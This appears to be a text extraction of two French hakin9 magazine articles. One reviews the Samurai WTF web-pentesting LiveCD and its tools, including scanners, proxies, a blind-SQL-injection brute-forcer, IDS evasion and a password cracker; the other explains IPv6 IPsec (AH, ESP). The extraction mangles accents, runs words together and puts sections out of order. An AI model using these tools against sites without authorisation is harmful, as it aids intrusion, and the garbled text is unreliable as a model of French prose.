Figure 2 BootSplash de Samurai Figure 3 Ecran de login

5201032

pratique

eacutenormeacutement drsquoimportance aux yeux de tous les profes-sionnels de la seacutecuriteacute informatique Une nouvelle ver-sion 05 est attendue inteacutegrant le tout dernier KDE (KDE 41) fondeacute sur Kubuntu 810

Deacutemarrage du LiveCDComme sur lrsquoensemble des distributions GNULinux le boot du CD propose de nombreuses possibili-teacutes quant aux actions agrave entreprendre Encore une fois Samurai WTF ne deacuteroge pas agrave la regravegle (voir Figure 1)

A partir du menu il est possible

bull De deacutemarrer Samurai Web Testing Framework en mode graphique (safe mode ou pas)

bull Drsquoinstaller Samurai Web Testing Framework en dur en utilisant lrsquooutil de partitionnement connu drsquoUbun-tu

bull De veacuterifier que le CD ou le DVD nrsquoa aucun deacutefautbull De faire un test de meacutemoire (option disponible sur

tous les LiveCD)bull De deacutemarrer agrave partir du disque dur Cette option

trouve sont utiliteacute lorsque le CD se trouve dans le lecteur au deacutemarrage mais que lrsquoon veut booter nor-malement sur notre disque dur

Un des inteacuterecircts du LiveCD est quil ne laisse pas de trace car toutes les informations utiliseacutees au cours de son utilisation seront perdues lors de lextinction de la machine Pour cette raison nous allons utiliser la pre-miegravere option Start Samurai Web Testing Framework in Graphical Mode qui est lrsquooption par deacutefaut permettant simplement de lancer Samurai WTF en mode graphi-que

Le mode graphique se lance donc affichant le boots-plash de Samurai WTF durant le chargement de tous les modules (voir Figure 2)

Une fois lrsquoensemble des modules chargeacutes un eacutecran de login apparaicirct

Par deacutefaut le seul et unique identifiant pour la connexion se compose de login samurai coupleacute au mot de passe samurai(voir Figure 3) Par la suite rajoutez eacuteventuel-lement des utilisateurs gracircce agrave la commande useradd ou bien gracircce au gestionnaire graphique que contient Sa-murai WTF afin de restreindre lrsquoutilisation du LiveCD

Une fois loggeacute profitez pleinement de lrsquoensemble des fonctionnaliteacutes dont ce LiveCD regorge

Les menus preacutesents dans Samurai sont tregraves intuitifs et tregraves clairs permettant de vous adapter rapidement mecirc-me si vous nrsquoavez jamais installeacute une version drsquoUbuntu (voir Figure 4 et 5)

Samurai et ses outilsLe LiveCD dispose approximativement drsquoune tren-

taine drsquooutils destineacutes agrave mettre agrave mal tout type drsquoappli-cation web Comme nous vous lavions indiqueacute dans le module preacuteceacutedent lrsquoensemble de ces outils peut se deacutecomposer en trois cateacutegories agrave savoir

bull Reconnaissancebull Deacutecouvertebull Exploitation

reconnaissanceLa partie reconnaissance est une partie tregraves im-portante dans la mise en place drsquoune attaque

(que celle-ci soit porteacutee contre une application web ou autre) Dans le cas drsquoune application web il srsquoagit de faire de la reacutecupeacuteration drsquoinformation sur la cible La prise de connaissance peut inclure la reacutecupeacuteration drsquoadresses mail des informations concernant le titulai-re de lrsquoheacutebergement ainsi que bien drsquoautre possibiliteacutes Pour ces reacutecupeacuterations drsquoinformations les outils Fierce domain Scanner ainsi que Maltego sont disponibles sur Samurai WTF

DeacutecouverteexploitationLes parties deacutecouverte et reconnaissance sont geacuteneacutera-lement regroupeacutees en une seule phase lorsqursquoil srsquoagit

Figure 4 Bureau de Samurai sous Gnome Figure 5 Les menus sous Samurai

Samurai proteacutegez vos applications web

hakin9orgfr 33

drsquooutil automatiseacute La deacutecouverte drsquoune faille que ce soit des mauvaises configurations du serveur des failles de type cross site scripting (XSS) injection SQL inclusion de fichier ou bien drsquoautres encore permet de mettre en eacutevidence la preacutesence drsquoune faille sans pour autant lrsquoexploiter agrave 100 La partie exploitation quant agrave elle consiste agrave tenter drsquoexplorer la faille sous toutes ses coutures Pour ces parties des outils bien connus comme W3AF BeEF ou bien encore AJAXShell ont eacuteteacute incorporeacutes

La preacutesentation des outils que contient le LiveCD Sa-murai WTF ne se fera pas en fonction drsquoune apparte-nance agrave une cateacutegorie (reconnaissance deacutecouverte etou exploitation) mais dans un ordre alphabeacutetique com-me preacutesenteacute dans le menu du LiveCD Nous allons ten-ter de vous preacutesenter le plus preacuteciseacutement possible les outils importants

DirBusterDirBuster est une application eacutecrite en Java permettant de laquo brutefocer raquo les dossiers contenus dans une ap-plication web Une attaque par dictionnaire serait plus approprieacutee du fait que DirBuster va tenter de faire cor-respondre des reacutepertoires preacutesents sur le serveur avec une liste de reacutepertoires dans des fichiers texte Le but de cette application est donc de trouver des dossiers ou bien mecircme des fichiers sans liens pointant vers eux et pouvant srsquoaveacuterer tregraves inteacuteressants (dossier admin par exemple ou la preacutesence drsquoun passwdtxt etc)

Lrsquointerface graphique (voir Figure 6) est tregraves intui-tive et excessivement simple drsquoutilisation En effet il est simplement neacutecessaire de speacutecifier une URL cible ainsi qursquoun dictionnaire de dossiersfichiers

Une fois ces deux eacuteleacutements speacutecifieacutes DirBuster va tenter chaque combinaison une agrave une jusqursquoagrave avoir une

Figure 6 Interface graphique de DirBuster

Figure 7 Loutil GooScan en ligne de commande

5201034

pratique

reacuteponse positive du serveur (Requecircte 200 en geacuteneacute-ral)

Le projet DirBuster est un projet de lrsquoOWASP (Open Web Application Security Project) ayant pour objectif de rendre le Web de plus en plus seacutecuritaire

FierceFierce ou plus preacuteciseacutement Fierce Domain Scanner est petit script eacutecrit en Perl dont le but est drsquoauditer la seacutecuriteacute des applications web Il est capable de tes-ter des domaines qui ne sont pas continus Fierce Do-main Scanner analyse un domaine et tente drsquoidentifier des sites qui sont susceptibles decirctre des cibles po-tentielles dune attaque web Fierce Domain Scanner trouve sa place dans la cateacutegorie des outils de recon-naissance

GooScanGooScan est un scanner de vulneacuterabiliteacutes pour page web fonctionnant agrave partir de requecirctes avec le moteur de recherche Google Crsquoest un utilitaire assez puissant uniquement preacutesent en ligne de commande Cet outil permet de ne pas faire de recherches directement sur la cible en elle-mecircme mais en premier lieu en passant par le moteur de recherche Google afin de reacutecupeacuterer le maximum drsquoinformations sans toucher au systegraveme cible Tout comme Fierce GooScan trouve sa place

dans la cateacutegorie des outils de reconnaissance (voir Figure 7)

HttpprintHttpprint est un logiciel qui relegraveve les laquo empreintes raquo drsquoun serveur web (voir Figure 8) Httpprint deacutetecte avec exactitude les caracteacuteristiques du serveur Web distant mecircme si certains administrateurs systegraveme tentent de cacher ces caracteacuteristiques en changeant certains pa-ramegravetres ainsi que les banniegraveres

Httpprint utilise des signatures pour la reconnaissan-ce des diffeacuterents types de serveur web Il est possible drsquoajouter ses propres signatures agrave la base de donneacutees deacutejagrave preacutesente

MaltegoMaltego est un outil qui deacutetermine les relations et les liens reacuteels entre le monde (personnes entreprises organisations sites web etc ) Maltego permet de trouver simplement et de maniegravere graphique des in-formations telles que des documents les diffeacuterentes adresses e-mail dune personne des numeacuteros de teacute-leacutephone qui pourraient lui ecirctre associeacutes des rensei-gnements sur linfrastructure mais aussi collecter des informations et bien dautres choses encore Trou-vant sa place dans les outils de type laquo reconnaissan-ce raquo Maltego est reacuteputeacute pour ecirctre lrsquoun des meilleurs

Figure 8 Relever les empreintes avec HTTPRINT

Samurai proteacutegez vos applications web

hakin9orgfr 35

outils de cette cateacutegorie Il permet eacutegalement drsquoauto-matiser des actions de types laquo footprinting raquo en vue de tests de peacuteneacutetration preacutevus ulteacuterieurement Il per-met gracircce au nom drsquoune socieacuteteacute par exemple de re-monter jusqursquoagrave son infrastructure technique agrave savoir les serveurs DNS les serveurs Web les serveurs Mail les heacutebergeurs et ainsi de suite (voir Figure 9 et 10)

La version 20 de Maltego preacutesente sur Samurai WTF est eacutegalement preacutesente sur la version finale de Back-Track III

NiktoNikto est un scanner de serveur Web dont le but est de trouver automatiquement les risques lieacutes agrave la confi-guration ainsi qursquoaux versions utiliseacutees Plusieurs ty-pes de tests sont effectueacutes sur le serveur cible gracircce agrave Nikto Ainsi Nikto vous indiquera les versions utili-seacutees et les eacuteventuels problegravemes en rapport avec ces

Figure 9 Utilisation de Maltego

Figure 10 Deacutemarrage de Maltego Figure 11 W3AF via son interface graphique

5201036

pratique

derniegraveres Drsquoautres tests portent sur la configuration du serveur en elle-mecircme comme le Directory indexing lrsquoutilisation de lrsquooption TRACE la vulneacuterabiliteacute aux in-jections XSS ou injections SQL la preacutesence drsquoinfor-mations systegraveme reacuteveacuteleacutees (via phpinfo() par exemple) etc Nikto teste en tout et pour tout plus de 2500 points clefs agrave la recherche de failles exploitables par un pi-rate informatique agrave lrsquoencontre drsquoune application web que ce soit lrsquoapplication web elle-mecircme ou le serveur la supportant

parosParos ou plus preacuteciseacutement Paros Proxy intervient sur le volet de la seacutecuriteacute applicative En eacutemulant le navi-gateur web il va permettre de tester des actions sur des services et des applications en ligne et ainsi eacuteva-luer leur niveau de seacutecuriteacute Paros Proxy offre notam-ment la possibiliteacute de capturer une requecircte de la reacuteeacute-crire avant de la reacuteacheminer Toutes les donneacutees sur HTTP et HTTPS entre le serveur et le client y compris les cookies peuvent donc ecirctre intercepteacutees et modi-fieacutees

ratproxyRatProxy a pour but drsquoaider les deacuteveloppeurs de si-tes internet agrave mieux identifier les failles potentielles de leurs creacuteations Cet outil est proposeacute par le geacuteant Goo-gle qui apregraves lrsquoavoir reacutealiseacute en interne a deacutecideacute de pu-blier le code pour qursquoil soit accessible par tout le mon-

de Loutil est multiplateforme mais neacutecessite Cygwin afin de fonctionner sous Windows Comme son nom lrsquoindique RatProx se configurera en premier lieu com-me un proxy Puis il faudra ensuite visiter le site inter-net agrave tester et lapplication de maniegravere quasi automa-tique testera et reacutedigera un rapport au format HTML RatProxy a pour but de deacutenicher des problegravemes de seacute-curiteacute les plus communs (Injection XSS injection SQL etc) Dans lrsquoutilisation RatProxy se rapproche donc eacutenormeacutement de Paros et de WebScarab (Voir un peu plus bas)

SqLBruteSQLBrute est un petit outil inteacutegralement eacutecrit en Py-thon permettant de bruteforcer les donneacutees agrave lrsquoaide drsquoin-jection SQL aveugle (Blind Injection SQL) Il utilise une exploitation baseacutee sur le temps de reacuteponse ainsi que sur les erreurs de Microsoft SQL Server et Oracle SQL-Brute permet drsquoacceacuteleacuterer les traitements gracircce agrave lrsquoutili-sation du multithreading et ne neacutecessite aucune biblio-thegraveque suppleacutementaire

W3aFW3AF ou encore Web Application Attack and Audit Framework est un logiciel entiegraverement eacutecrit en Py-thon W3AF est un Framework tregraves complet orienteacute test de peacuteneacutetration des applications web (voir Figure 11 et 12) Comme son nom lrsquoindique il est orienteacute vers les audits et les attaques agrave lrsquoencontre des appli-cations web Il trouve donc tregraves bien sa place dans le LiveCD Samurai W3AF est diviseacute en deux parties le core qui gegravere les processus et la communication entre les plugins Les plugins eacutetant classeacutes en 7 ca-teacutegories distinctes (deacutecouverte audit grep attaques affichage modifieurs de requecirctes eacutevasion et brute force) permettant de faire de W3AF un outil tregraves com-plet rentrant dans les trois cateacutegories deacutejagrave eacutevoqueacutees agrave savoir reconnaissance deacutecouverte et exploita-tion

Le Framework dispose drsquoune interface graphique tregraves complegravete et tregraves intuitive pour lrsquoensemble des actions qursquoil propose Le projet contient plus de 130 plugins qui permettent de chercher pour les injections SQL les in-jections XSS les inclusions de fichiers locauxdistants et bien plus encore

Figure 12 W3AF an ligne de commande

Figure 13 Ecran de lancement de WebShag

Samurai proteacutegez vos applications web

hakin9orgfr 37

Pour ceux qui le souhaitent W3AF dispose aussi drsquoune interface en ligne de commande plus difficile agrave exploiter mais tout aussi puissante

WapitiWapiti est un petit logiciel eacutecrit entiegraverement en Python per-mettant drsquoauditer la seacutecuriteacute drsquoune application Web Le logiciel teste automatiquement de nombreuses attaques qursquoun pirate tenterait de lancer une agrave une telles que lrsquoinclu-sion de fichiers locaux lrsquoinclusion de fichiers distants les injections SQL et les injections XSS Wapiti est souvent utiliseacute en parallegravele agrave Nikto qui remplit les mecircmes fonctions que ce dernier Tout comme Nikto Wapiti trouve sa place dans les outils de deacutecouverte et drsquoexploitation

WebScarabTout comme DirBuster WebScarab est un outil issu de lrsquoOWASP WebScarab est un proxy applicatif libre eacutecrit en Java permettant drsquointercepter et de modifier les requecirctes ainsi que les reacuteponses HTTP (dans le mecircme esprit que Paros) Il est important de compren-dre que gracircce agrave ce genre drsquooutils les controcircles mis en place cocircteacute client par du JavaScript par exemple peu-vent facilement ecirctre contourneacutes comme la gestion des longueurs maximales drsquoun champ gracircce agrave lrsquoattribut laquo maxlength raquo Les erreurs suite aux mauvais paramegrave-tres inseacutereacutes dans des formulaires constituent lrsquoune des premiegraveres vulneacuterabiliteacutes web deacutecreacuteteacutee par le guide de lrsquoOWASP

Figure 14 Loutil Nmap avec une interface graphique

Figure 15 Ligne de commande sous Samurai

5201038

pratique

WebShagWebshag est un outil multiplateforme eacutecrit en Python destineacute agrave laudit de serveurs web Il regroupe une seacute-rie de fonctionnaliteacutes utiles lors de tests dintrusion de serveurs web tels quun scanner dURL ainsi qursquoun fuzzer de fichiers En outre il integravegre des fonctionna-liteacutes deacutevasion IDS speacutecialement conccedilues pour com-pliquer la correacutelation entre les nombreuses requecirctes quil geacutenegravere (pour ce faire il est capable dutiliser un serveur proxy diffeacuterent pour chaque requecircte geacuteneacutereacutee voir Figure 13)

En plus des fonctionnaliteacutes deacutecrites ci-dessus Webs-hag propose de nouveaux outils agrave limage de son mo-

dule permettant de reacutecupeacuterer la liste des noms de do-maine heacutebergeacutes par une adresse IP donneacutee

Webshag propose une interface graphique tregraves sim-ple et tregraves intuitive Il existe eacutegalement une version en ligne de commande pour la version GNULinux pour les plus teacutemeacuteraires drsquoentre vous

ZeNmapZeNmap est simplement lrsquointerface graphique du ceacutelegrave-bre outil Nmap (voir Figure 14) Nmap est reacuteputeacute pour ecirctre un excellent outil utilisable uniquement en ligne de commande pouvant deacutecourager les moins teacutemeacuterai-res drsquoentre nous Les balayages proposeacutes par ZeN-

Figure 16 John The Ripper en ligne de commande

Figure 17 Le fameux utilitaire Nmap

Samurai proteacutegez vos applications web

hakin9orgfr 39

map vont du simple scan aux scans tregraves speacutecifiques en passant par la deacutetection de systegravemes drsquoexploita-tion distants Lrsquoensemble de ces choix seffectue gracircce agrave une listbox rendant les configurations vraiment tregraves simples Voici agrave quoi ressemble cette interface graphi-que

Les sorties de ZeNmap sont tregraves claires et compreacute-hensibles comparativement aux lignes de commande de la version classique Il est possible drsquoutiliser les profils preacutedeacutefinis par ZeNmap (Intense Scan Quick Scan Operating System Detection etc) ou de taper directement les commandes dans la partie preacutevue agrave cet effet pour les plus confirmeacutes cherchant un reacutesul-tat preacutecis

Malgreacute des menus complets certains outils ne sont pas disponibles agrave partir des menus que proposent Sa-murai WTF et sont donc uniquement accessibles via la ligne de commande (voir Figure 15)

Parmi ces outils on retrouve

bull Dnswalk Dnswalk est un deacutebuggeur de DNS Il exeacutecute des transferts de zone sur les domaines in-diqueacutes et veacuterifie de plusieurs maniegraveres linteacutegriteacute et lexactitude de la base de donneacutees

bull Httping Httping correspond au ping pour les re-quecirctes HTTP Si la requecircte ne reacutepond pas il se peut que la page nrsquoexiste pas ou bien qursquoil y ait un souci relatif au serveur (preacutesence drsquoun fi-rewall)

bull Httrack Httrack est simplement un aspirateur de site cest-agrave-dire qursquoil vous donne la possibiliteacute de teacuteleacutecharger lrsquointeacutegraliteacute drsquoune application web sur votre disque dur personnel en construisant reacutecur-sivement tous les reacutepertoires reacutecupeacuterant HTML images et fichiers du serveur vers votre ordina-teur Httrack reacuteorganise la structure des liens en relatif

bull JTR JTR ou est un puissant crackeur de mot de passe en ligne de commande fonctionnant tant sous Windows que sous GNULinux John The Rip-per procegravede agrave des attaques par bruteforce cest-agrave-dire en tentant toutes les combinaisons possibles (voir Figure 16)

bull Netcat Netcat est un utilitaire entiegraverement en ligne de commande permettant douvrir des connexions reacuteseau que ce soit UDP ou TCP En raison de sa polyvalence netcat est aussi appeleacute le couteau suisse TCPIP Il peut ecirctre utiliseacute pour connaicirctre leacutetat des ports par exemple

bull Nmap Nmap est tregraves certainement le scanneur de ports le plus connu et le plus utiliseacute dans le monde de la seacutecuriteacute informatique (mecircme Trini-ty lrsquoutilise) ainsi que par les administrateurs reacute-seau Il est principalement conccedilu pour deacutetec-ter les ports ouverts identifier les services ainsi qursquoobtenir des informations sur le systegraveme drsquoex-

ploitation Bien que tregraves petit nmap est un lo-giciel extrecircmement complet permettant drsquoobtenir des reacutesultats fort inteacuteressants (voir Figure 17)

bull Snarf Snarf est un simple petit utilitaire en ligne de commande permettant de transfeacuterer des fichiers via les protocoles HTTP gopher finger et FTP sans aucune interaction avec lrsquoutilisateur

Le LiveCD Samurai dispose eacutegalement de plusieurs outils non relatifs agrave la seacutecuriteacute informatique permet-tant simplement de faire de Samurai une distribution complegravete Vous retrouverez ainsi des programmes comme Wine permettant drsquoeacutemuler des programmes Windows dans un environnement Linux Des logiciels pour eacutecouter de la musique ou pour acceacuteder agrave Inter-net dans de bonne condition sont eacutegalement disponi-bles

ConclusionLrsquoensemble des outils preacutesents dans le live CD Sa-murai Web Testing Framework permet de le classer parmi les frameworks les plus complets en matiegravere de peacuteneacutetration des applications web Bien que Sa-murai WTF soit encore un projet tregraves jeune il dispo-se deacutejagrave drsquoune grande maturiteacute lui permettant drsquoavoir une place bien preacutesente dans le milieu de la seacutecu-riteacute web

Samurai WTF est en constante eacutevolution et integravegre de plus en plus drsquooutils que les professionnels de la seacutecuri-teacute utilisent reacuteguliegraverement afin de satisfaire parfaitement leurs besoins

Samurai WTF est donc une distribution sur laquelle il est important de garder un œil tant son eacutevolution est impressionnante et son utilisation de plus en plus freacute-quente chez les professionnels

Nous vous rappelons eacutegalement que lrsquoensemble de ces outils bien que gratuits sont soumis agrave cer-taines restrictions qursquoil est tenu de connaitre avant toute utilisation Ces outils sont entiegraverement leacutegaux mais il nrsquoest autoriseacute de les utiliser que contre son propre reacuteseau agrave moins drsquoavoir les autorisations neacute-cessaires Page daccueil httpsamuraiinguar-dianscom

a prOpOD De LauteurReacutegis SENET est actuellement eacutetudiant en quatriegraveme anneacutee agrave lrsquoeacutecole Supeacuterieur drsquoinformatique Supinfo Passionneacute par les tests drsquointrusion et les vulneacuterabiliteacutes Web il tente de deacuteco-uvrir la seacutecuriteacute informatique drsquoun point de vue entreprise Il soriente actuellement vers le cursus CEH LPT et Offensive Se-curityContact regissenetsupinfocom

5201040

Pratique

Au moment de la deacutefinition dIPv6 de nouveaux besoins tels que la seacutecuriteacute la mobiliteacute sont ap-parus et ont pu ecirctre pris en compte lors de la

phase de standardisation Ce chapitre preacutesente quel-ques-uns de ces meacutecanismes qui repreacutesentent une grande avanceacutee de la couche reacuteseau

iPsecIPsec est le protocole speacutecifiquement conccedilu pour seacutecu-riser IPv6 Il permet de reacutealiser des reacuteseaux priveacutes Vir-tuels ou VPNs (Virtual Private Networks) au niveau IP et offre les services

bull drsquoauthentification des donneacuteesbull de chiffrement de donneacutees bull drsquointeacutegriteacute des donneacutees pour garantir que les paquets

nrsquoont pas eacuteteacute modifieacutes durant leur acheminementbull drsquoanti-rejeu afin de deacutetecter les eacuteventuels paquets

rejoueacutes par un attaquant

Toute impleacutementation IPv6 se doit de lrsquointeacutegrer dans sa pile Ce protocole est eacutegalement utilisable avec IPv4 mais lrsquoutilisation du NATPAT (Network Address Trans-lationProtocole Address Translation) en limite la mise en œuvre

Meacutecanismes iPsecIPsec deacutefinit 2 protocoles de seacutecurisation

bull AH (Authentication Header)bull ESP (Encryption Security Payload)

Les services de seacutecurisation offerts par ces 2 protoco-les sont distincts

bull AH permet de sassurer que leacutemetteur du message est effectivement celui quil preacutetend ecirctre Il sert aus-si au controcircle dinteacutegriteacute pour garantir au reacutecepteur que personne na modifieacute le contenu dun message lors de son acheminement et peut optionnellement ecirctre utiliseacute pour la deacutetection des rejeux

bull ESP offre les mecircmes services qursquoAH et permet en plus de chiffrer lensemble des paquets ou unique-ment la charge utile ESP garantit eacutegalement de fa-ccedilon limiteacutee linteacutegriteacute du flux

associations de seacutecuriteacuteAfin de seacutecuriser les eacutechanges les entiteacutes en preacutesence doivent bien eacutevidemment partager un ensemble com-mun drsquoinformations telles que le protocole IPsec usiteacute (AH ou ESP) les cleacutes les algorithmes hellip Ces diffeacuteren-tes informations constituent des associations de seacutecu-riteacute ou SA (Security Association)

Chaque association de seacutecuriteacute est identifieacutee de maniegravere unique par un triplet comprenant un index de paramegravetres de seacutecuriteacute SPI (Security Parameters Index) ladresse du destinataire IP et le protocole de seacutecuriteacute AH ou ESP

Meacutecanismes iPv6 avanceacutes

Depuis les anneacutees 80 lrsquoInternet connaicirct un succegraves incroyable La majeure partie des entreprises y est maintenant directement connecteacutee le nombre de particuliers deacutetenteurs drsquoun abonnement Internet aupregraves drsquoun FAI (Fournisseur drsquoAccegraves Internet) est en croissance constante

Cet article expliquebull Cet article est destineacute agrave vous faire appreacutehender les techniqu-

es fondamentales drsquoIPv6 le nouveau mode drsquoadressage les meacutecanismes de communication sous-jacents la configuration automatique hellip bref lrsquoensemble des protocoles basiques qui composent lrsquoarchitecture drsquoIPv6

Ce quil faut savoirbull Pour appreacutehender au mieux cet article il est preacutefeacuterable drsquoavoir

des connaissances relativement solides drsquoIPv4 et en particu-lier du modegravele en couche TCPIP Il est bien eacutevidemment judi-cieux drsquoavoir eacutegalement au preacutealable appreacutehendeacute les notions expliciteacutees dans lrsquoarticle preacuteceacutedent

Freacutedeacuteric roudaut

Meacutecanismes iPv6 avanceacutes

hakin9orgfr 41

ces 2 valeurs coiumlncident lrsquointeacutegriteacute ainsi que lrsquoauthentifica-tion des champs concerneacutes est assureacutee Ces champs dif-fegraverent selon le mode usiteacute transport ou tunnel

Le rejeu des paquets est quant agrave lui deacutetecteacute par le champ Sequence Number increacutementeacute agrave chaque paquet et eacutegalement proteacutegeacute par le champ ICV

Mode transportEn mode Transport lrsquoextension AH est inseacutereacutee apregraves lrsquoen-tecircte IPv6 et avant les en-tecirctes de niveau transport (TCP UDP) De plus AH eacutetant vue comme une extension drsquoen-tecircte traiteacutee de bout en bout de la communication celle-ci apparait apregraves les extensions drsquoen-tecircte Hop-By-Hop Op-tion Header Routing Header et Fragment Header Lrsquoex-tension drsquoen-tecircte Destination Options Header est quant agrave elle placeacutee indiffeacuteremment avant ou apregraves

Lrsquoauthentification et lrsquointeacutegriteacute portent donc sur

bull les octets situeacutes au dessus de lrsquoextension drsquoen-tecircte AHbull certains champs de lrsquoen-tecircte IPv6 invariants lors de

lrsquoacheminement du paquetbull certains champs invariants des extensions drsquoen-tecircte

positionneacutees avant AH

Les extensions drsquoen-tecircte positionneacutees apregraves AH ne sont pas modifieacutees durant lrsquoacheminement des paquets agrave ce titre elles sont proteacutegeacutees par le champ ICV Cet-te protection diffegravere pour les extensions drsquoen-tecirctes po-sitionneacutes avant AH certains champs pouvant ecirctre alteacute-reacutes par les routeurs preacutesents le long du chemin

Les sous-options preacutesentes dans les extensions headers Hop-By-Hop et Destination Options Header disposent drsquoun bit positionneacute agrave 1 si lrsquooption peut ecirctre modifieacutee le long du trajet Dans le cas ougrave ce bit nrsquoest pas positionneacute la sous-option est proteacutegeacutee dans le cas contraire les octets de la sous-option sont positionneacutes agrave 0 lors du calcul de lrsquoICV

Cette protection ne srsquoapplique pas non plus sur lrsquoex-tension Fragment Headers qui apparaicirct uniquement apregraves la phase drsquoauthentification

La Figure 2 montre ainsi le positionnement de lrsquoexten-sion drsquoen-tecircte AH en mode transport ainsi que la porteacutee de lrsquoauthentificationinteacutegriteacute

Mode tunnelEn mode Tunnel lrsquoextension AH est inseacutereacutee avant lrsquoen-tecircte IPv6 Un nouvel en-tecircte IPv6 est alors inseacutereacute en tecircte La Figure 3 et le Tableau 2 preacutesentent le mode de construction de ce ne nouvel en-tecircte ainsi que le posi-tionnement des champs de lrsquoen-tecircte Inteacuterieur

eSP (encryption Security Payload)La mise en œuvre drsquoESP repose sur une extension drsquoen-tecircte speacutecifique Celle-ci se deacutecompose en 2 par-ties La premiegravere partie preacutecegravede les donneacutees agrave proteacute-ger la deuxiegraveme termine le paquet et contient un eacuteven-tuel ICV pour proteacuteger le paquet en authentification

Une association de seacutecuriteacute est unidirectionnelle Une communication bidirectionnelle entre 2 entiteacutes neacutecessi-te donc lutilisation de 2 associations de seacutecuriteacute

Mode transport et tunnelLes normes IPsec deacutefinissent deux modes distincts dopeacute-ration IPsec le mode Transport et le mode Tunnel Le mode Tunnel ne fonctionne que pour les datagrammes IP-in-IP En mode Tunnel le paquet IP interne deacutetermine la strateacutegie IPsec qui protegravege son contenu tandis qursquoen mode Transport len-tecircte exteacuterieur deacutetermine la strateacutegie IPsec qui protegravege le paquet IP interne Contrairement au mode Transport le mode Tunnel ne permet pas agrave len-tecircte IP exteacuterieur de dicter la strateacutegie de son datagramme IP interne Enfin dans les 2 modes lrsquoen-tecircte exteacuterieur est partiellement proteacutegeacute mais le mode Tunnel a lrsquoavantage de proteacuteger inteacutegralement son en-tecircte exteacuterieur pouvant ainsi se reacuteveacuteler fortement utile pour la creacuteation de VPN

aH (authentication Header)La mise en œuvre drsquoAH repose sur une extension drsquoen-tecircte speacutecifique deacutefinie dans la Figure 1

Le rocircle des diffeacuterents champs de lrsquoextension drsquoen-tecircte AH est preacuteciseacute dans le Tableau 1

NB Faute de place certaines figures ont ete suppri-mees Vous pouvez le telecharger sur le site wwwha-kin9orgfr

Protection aH et algorithmesAH suppose geacuteneacuteralement une impleacutementation des al-gorithmes suivants

bull HMAC-MD5-96 (Peut ecirctre impleacutementeacute) cet algo-rithme produit une empreinte sur 128 bits tronqueacutee agrave 96 bits pour le champ ICV de AH

bull HMAC-SHA1-96 (Doit ecirctre impleacutementeacute) cet algo-rithme produit une empreinte sur 160 bits tronqueacutee agrave 96 bits pour le champ ICV de AH

bull AES-XCBC-MAC-96 (Devrait ecirctre impleacutementeacute) ce protocole utilise le chiffrement par bloc AES dans un mode dopeacuteration de type compteur coupleacute agrave co-de dauthentification MAC (CBC-MAC) Le comp-teur sert agrave assurer un chiffrement sucircr en eacutevitant davoir un vecteur dinitialisation identique pour cha-que message alors que le code dauthentification permet de veacuterifier que le message na pas eacuteteacute alteacute-reacute Cet algorithme produit eacutegalement une empreinte sur 96 bits pour le champ ICV de AH

Drsquoautres algorithmes sont bien entendu utilisables mais ceux preacuteciseacutes ci-dessus repreacutesentent lrsquoensemble commun minimum des impleacutementations drsquoAH

Lors de la reacuteception drsquoun paquet AH la pile IPsec deacutetec-te lrsquoassociation de seacutecuriteacute concerneacutee en deacuteduit les algo-rithmes et les cleacutes associeacutees calcule la valeur du champ ICV et la compare avec la valeur fournie Dans le cas ougrave

5201042

Pratique

Ces 2 parties sont deacutefinies dans la Figure 4Le rocircle des diffeacuterents champs de lrsquoextension drsquoen-tecircte

ESP est preacuteciseacute dans le Tableau 3

Protection eSP et algorithmesLa protection drsquoESP repose sur le choix des algorith-mes drsquoauthentification et de chiffrements Ils sont soit distincts soit combineacutes cest-agrave-dire qulsquoauthentification et chiffrement sont reacutealiseacutes par le mecircme algorithme

Dans le cas drsquoune protection combineacutee ESP suggegravere lrsquoutilisation drsquoAES-CCM ou AES-GCM deacutejagrave utiliseacute pour respectivement le 80211i et le 8021ae

Dans le cas drsquoune protection seacutepareacutee ESP suppo-se geacuteneacuteralement une impleacutementation des algorithmes drsquoauthentification suivants

bull NULL Authentication (Peut ecirctre impleacutementeacute)bull HMAC-MD5-96 (Peut ecirctre impleacutementeacute) cet algo-

rithme produit une empreinte sur 128 bits tronqueacutee agrave 96 bits pour le champ ICV de AH

bull HMAC-SHA1-96 (Doit ecirctre impleacutementeacute) cet algo-rithme produit une empreinte sur 160 bits tronqueacutee agrave 96 bits pour le champ ICV de AH

bull AES-XCBC-MAC-96 (Devrait ecirctre impleacutementeacute) ce protocole utilise le chiffrement par bloc AES dans un mode dopeacuteration de type compteur cou-pleacute agrave code dauthentification MAC (CBC-MAC) Le compteur sert agrave assurer un chiffrement sucircr en eacutevitant davoir un vecteur dinitialisation identique pour chaque message alors que le code dauthen-tification permet de veacuterifier que le message na pas eacuteteacute alteacutereacute Cet algorithme produit eacutegalement une empreinte sur 96 bits pour le champ ICV de AH

Les algorithmes de chiffrements deacutefinis sont alors les suivants

bull NULL Encryption (Doit ecirctre impleacutementeacute)

bull AES-CBC (Doit ecirctre impleacutementeacute) AES supporte 3 tailles de cleacute 128 192 et 256 bits La taille de cleacute par deacutefaut est de 128 bits AES-CBC neacutecessite un IV de 16 octets

bull 3DES-CBC (Doit ecirctre impleacutementeacute) cet algorithme utilise une cleacute effective de 192 bits Il est reacutealiseacute par application de 3 DES-CBC chacun utilisant une cleacute de 64 bits (dont 8 bits de pariteacute) 3DES-CBC neacuteces-site un IV de 8 octets

bull AES-CTR (Devrait ecirctre impleacutementeacute) AES en mo-de compteur supporte 3 tailles de cleacute 128 192 et 256 bits La taille de cleacute par deacutefaut est de 128 bits AES-CTR neacutecessite un IV de 16 octets

bull DES-CBC (Ne devrait pas ecirctre impleacutementeacute)

Drsquoautres algorithmes sont bien entendu utilisables mais ceux preacuteciseacutes ci-dessus repreacutesentent lrsquoensem-ble commun minimum des impleacutementations drsquoESP Il est agrave noter qursquoune association de seacutecuriteacute ESP ne doit agrave aucun moment utiliser conjointement un algo-rithme drsquoauthentification et de chiffrement nul

En mode tunnel ESP depuis sa derniegravere version pro-pose un mode de confidentialiteacute de flux par lrsquoutilisation du champ TFC Ce champ permet drsquoadjoindre des octets de bourrage de taille aleacuteatoire La taille de ce champ nrsquoeacutetant preacuteciseacutee par aucun autre champ elle peut ecirctre deacuteduite du champ Payload Length de lrsquoen-tecircte IP inteacuterieure au tunnel Ce champ TFC pourrait eacutegalement ecirctre utiliseacute en mode transport agrave condition bien entendu que le proto-cole de niveau transport comporte une indication sur la taille de sa charge utile (cas de TCP UDP ICMP)

Lors de la reacuteception drsquoun paquet ESP la pile IPsec deacutetecte lrsquoassociation de seacutecuriteacute concerneacutee et en deacuteduit les algorithmes et les cleacutes associeacutees

